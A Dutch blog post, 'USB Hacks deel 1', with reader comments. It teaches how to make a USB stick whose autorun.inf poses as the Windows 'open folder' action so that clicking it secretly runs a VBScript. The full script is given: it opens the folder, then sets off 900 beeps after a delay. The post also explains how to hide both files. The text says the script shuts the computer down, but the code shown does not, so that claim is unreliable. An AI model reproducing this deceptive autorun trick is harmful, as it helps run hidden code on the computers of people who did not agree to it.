Dit is deel 1 van een serie “USB Hacks” die ik ga posten. Het gaat over hoe je dingen kunt aanpassen op je usb-stick zodat je bijvoorbeeld ongemerkt een programma kunt opstarten op het moment dat je een usb in de computer steekt. Dit deel gaat over hoe je een aangepast autorun-bericht kunt laten zien met het autorun.inf bestand.
Als je normaal een usb-stick opent, krijg je altijd een schermpje waar je kunt kiezen wat je dan wilt doen. Er staat ook een Map openen en bestanden weergeven. Die optie gaan we namaken, zodat als mensen op Map openen en bestanden weergeven klikken, je ongemerkt een script opent.
Eerst maak je een bestand autorun.inf op je usb-stick aan. Dan dubbelklik je daarop, en krijg je een notepad scherm. Vul daar in:
[autorun] ShellExecute=script.vbs action=Map openen en bestanden weergeven Icon=%systemroot%\system32\shell32.dll,4
ShellExecute bepaalt welk bestand geopend wordt, action is de tekst die je ziet (kun je ook veranderen naar “Open folder to view files” voor engelse pc’s), en Icon is het icoontje dat je naast de tekst ziet, in dit geval een map. Nu zie je dus dit:

De groene actie is de normale, en de rode is degene die jij net hebt gemaakt. Als je nog wat muziek, foto’s en films op je usb stick zet, wordt de normale actie naar onder verplaatst, zodat je die niet meer ziet. En de neppe autorun werkt ook als je naar Mijn Computer gaat en de usb-stick zelf aanklikt, dan wordt het script ook uitgevoerd.
Nu gaan we het script maken die uitgevoerd wordt als je de actie aanklikt. Hiervoor gebruiken we VBScript. Bekijk voor meer informatie daarover de VBScript Handleiding. Maak een bestand met de naam script.vbs, en kopieer deze code:
On error resume next
Dim SH, txtFolderToOpen
Set SH = WScript.CreateObject("WScript.Shell")
txtFolderToOpen = ".\"
SH.Run txtFolderToOpen
Set SH = Nothing
a = 1000
b = 900
for i = 1 to +a
Wscript.Sleep 1000
next
for i = 1 to +b
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
next
Dit is een script dat ik zelf gemaakt hebt. Het zorgt ervoor dat de map wordt geopend, en 1000 seconden daarna komen er 900 piepjes uit de computer en sluit de computer af. (is aan te passen, verander gewoon de getallen bij a en b).
Om te laten lijken alsof er niks op de usb staat, kun je ook nog script.vbs en autorun.inf verbergen. Dit doe je door de 2 bestanden te selecteren, dan rechtermuisknop -> properties/eigenschappen -> vink Hidden aan. De bestanden kun je zelf nog terugvinden door naar Tools -> Folder Options -> View -> Show hidden files and folders te gaan.
Dit was USB Hacks Deel 1. In het volgende deel gaan we verder met de autorun-functies van een U3 stick zodat er direct een script wordt uitgevoerd zonder een autorun-scherm als je hem erin steekt. Hiervoor gebruik ik een Sandisk Cruzer Micro U3 Stick.
Jurien
18 augustus
Ik heb gedaan wat je beschrijft maar hij opent nog gewoon de map zonder dat hij eerst het programma uitvoert.
Ik gebruik een normale usb-stick.
[Antwoord]
Davey antwoordt (18 augustus):
Vergeten erbij te zetten, maar op sommige computers doet hij dat automatisch zonder zo’n menu (als je bijvoorbeeld eerder op “deze actie altijd uitvoeren” hebt geklikt).
Dat kun je veranderen als je naar het Control Panel van de computer gaat en daar zoekt naar de Autoplay instellingen. Daar kun ‘Ask me each time’ instellen. Ik heb wel gemerkt dat het op sommige Vista computers niet werkt (waarom weet ik ook niet), maar op XP bijna altijd wel.
Jurien antwoordt (18 augustus):
Heb ik niet opgeklikt, ik zie ook maar 1 keer mappen weergeven staan en niet 2x zoals in het voorbeeld.
Davey antwoordt (19 augustus):
Oh, dan denk ik dat het autorun.inf bestand niet goed gelezen wordt.
Misschien is het per ongeluk autorun.inf.txt geworden. Ga naar het Configuratiescherm en zoek naar “mapopties”. Vink dit aan, en zorg dat autorun.inf geen autorun.inf.txt is.
Het kan ook zijn dat autorun.inf in een aparte map op de usb staat (bijvoorbeeld K:\scripts\). Dan wordt hij niet gelezen, dus moet je hem in de root van de usb-stick zetten (bijvoorbeeld K:\).